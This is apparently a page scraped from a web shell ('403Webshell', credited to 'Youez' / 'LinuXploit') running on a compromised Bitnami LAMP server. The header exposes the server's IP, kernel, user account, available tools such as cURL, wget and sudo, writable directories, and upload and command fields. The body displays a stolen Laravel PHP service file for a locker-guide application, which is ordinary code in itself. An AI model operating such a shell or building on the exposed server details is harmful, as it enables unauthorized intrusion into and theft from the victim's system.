403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Http/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Http/Services/LockerGuideService.php
<?php
namespace App\Http\Services;

use App\Models\LockerGuide;
use App\Models\ServerFile;
use App\Models\Locker;
use Auth;
use Illuminate\Validation\ValidationException;
use Queriplex;
use App\Classes\GCSFileUploader;
use Image;
use Str;
use Carbon\Carbon;
use App\Http\Services\FileUploadService;
use App\Http\Services\GooglePubSubService;
use App\Jobs\GetLockerGuide;

class LockerGuideService
{
	public function __construct(
        FileUploadService $fileUploadService,
		GooglePubSubService $googlePubSubService
	)
	{
        $this->fileUploadService = $fileUploadService;
        $this->googlePubSubService = $googlePubSubService;
	}

	public function lockerGuideList(Array $request)
	{
		$locker_guides = LockerGuide::query();

		$locker_guides = self::lockerGuideQueriplex($locker_guides, $request);

		$result = $locker_guides->paginate($request['itemsPerPage'] ?? null);

		$result->load('images', 'video');
		
		return $result;
	}

	public function lockerGuideQueriplex($query, Array $request)
	{
		$order_mode = ( $request['sortDesc'] ?? false )  ? 'DESC' : 'ASC';
		$search_by = $request['searchBy'] ?? null;
		
		$queriplex = Queriplex::make($query)
			->withFilters($request,[
				'id' => 'id',
				'activity' => function($query, $value){
					$query->whereActivity($value);
				},
				'search' => ( fn($query, $value) => self::lockerGuideSearchQuery($query,$value,$search_by) ),
			])
			->withSort($request['sortBy'] ?? null, [
				"id" => fn($query) => $query->orderBy('id', $order_mode),
			]);

		return $queriplex->apply();
	}

	public function lockerGuideSearchQuery($query, $value, $search_by)
	{
		$common_searchable = [
			'id',
			'name',
		];			
		if(in_array($search_by,$common_searchable)){
			$query->search($search_by,$value);
		}

		return null;
	}

	public function uploadLockerGuideMedia(Array $request)
    {
        $lockerGuide = LockerGuide::where('id',$request['id'])
            ->withTrashed()
            ->firstOr( function(){
                throw ValidationException::withMessages(
                    [ "id" => "The selected id is invalid." ]
                );
            });

        $file = $request['media'];

        $path = "lockerGuides/".$lockerGuide->id;
        $file_name = Str::uuid()->toString().'.'.$file->getClientOriginalExtension();

		
		if($request['type_id'] == LockerGuide::IMAGE)
		{
			$this->fileUploadService->uploadMedia( $file, $path, $file_name , $reset_directory = false);

			$lockerGuide = $lockerGuide->images()->create([
				'name' => $file_name,
				'path' => 'lockerGuides',
				'type_id' => ServerFile::IMAGE,
				'extension' => $file->getMimeType(),
				'mime_type' => $file->getClientOriginalExtension(),
				'size' => $file->getSize(),
			]);
		}
		else if($request['type_id'] == LockerGuide::VIDEO)
		{
			$this->fileUploadService->uploadMedia( $file, $path, $file_name , $reset_directory = true);

			$lockerGuide = $lockerGuide->video()->updateOrCreate([],[
				'name' => $file_name,
				'path' => 'lockerGuides',
				'type_id' => LockerGuide::VIDEO,
				'extension' => $file->getMimeType(),
				'mime_type' => $file->getClientOriginalExtension(),
				'size' => $file->getSize(),
			]);
		}

		if($lockerGuide->type_id == LockerGuide::VIDEO)
			self::sendSync($request['time']);

        return $lockerGuide;
    }

	public function removeLockerGuideMedia(Array $request)
    {
        $lockerGuide = LockerGuide::where('id',$request['guide_id'])
            ->withTrashed()
            ->firstOr( function(){
                throw ValidationException::withMessages(
                    [ "id" => "The selected id is invalid." ]
                );
            });

		if($request['type_id'] == LockerGuide::IMAGE)
		{
			$lockerGuide = $lockerGuide->images()->where('id', $request['id'])->delete();
		}
		else if($request['type_id'] == LockerGuide::VIDEO)
		{
			$lockerGuide = $lockerGuide->video()->where('id', $request['id'])->delete();
		}

		if(!$lockerGuide)
		{
			throw ValidationException::withMessages(
				[ "id" => "The selected id is invalid." ]
			);
		}

        return $lockerGuide;
    }

	public function lockerGuideInfo(Array $request)
	{
		$lockerGuide = LockerGuide::where('id',$request['id'])
			->firstOr( function(){
				throw ValidationException::withMessages(
					[ "id" => "The selected id is invalid." ]
				);
			});

		$lockerGuide->load([
				'images',
				'video'
			]);
		
		return $lockerGuide;
	}

	public function createLockerGuide(Array $request)
	{
		$lockerGuide = new LockerGuide;
		$lockerGuide->name = $request['name'];
		$lockerGuide->type_id = $request['type_id'];

		$lockerGuide->save();

		return $lockerGuide;
	}

	public function updateLockerGuide(Array $request)
	{
		
		$lockerGuide = LockerGuide::where('id',$request['id'])
			->withTrashed()
			->firstOr( function(){
				throw ValidationException::withMessages(
					[ "id" => "The selected id is invalid." ]
				);
			});
	
		$lockerGuide->name = $request['name'] ?? $lockerGuide->name;
		$lockerGuide->type_id = $request['type_id'] ?? $lockerGuide->type_id;

		$lockerGuide->save();
		
		if($lockerGuide->type_id == LockerGuide::VIDEO)
			self::sendSync();

		return $lockerGuide;
	}

	public function archiveLockerGuide(Array $request)
	{
		$lockerGuide = LockerGuide::where('id',$request['id'])
			->withTrashed()
			->firstOr( function(){
				throw ValidationException::withMessages(
					[ "id" => "The selected id is invalid." ]
				);
			});

		$lockerGuide->restoreOrDelete();

		return $lockerGuide;
	}

	public function lockerGuideTypeList()
	{
		$refs = collect(LockerGuide::TYPES);

		$refs = $refs->mapKeyValue("value", "text");

		return $refs->values();
	}

	public function lockerGuideMediaList(Array $request)
	{
		$lockerGuide = LockerGuide::where('id',$request['id'])
			->withTrashed()
			->firstOr( function(){
				throw ValidationException::withMessages(
					[ "id" => "The selected id is invalid." ]
				);
			});

		if($lockerGuide->type_id == LockerGuide::IMAGE)
			$result = $lockerGuide->images()->paginate($request['itemsPerPage'] ?? null);
		else if($lockerGuide->type_id == LockerGuide::VIDEO)
			$result = $lockerGuide->video()->paginate($request['itemsPerPage'] ?? null);
		
		return $result;
	}

	public function sendSync($time = "00:00")
	{
		$today = Carbon::today()->toDateString();
		$reset = Carbon::createFromFormat('Y-m-d H:i', $today . ' ' . $time); 

		if($reset < now())
		{
			$reset =  Carbon::parse($reset)->addDay();
		}

		$diff = $reset->diffInSeconds(now());

		GetLockerGuide::dispatch()->delay(now()->addSeconds($diff));

		return true;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit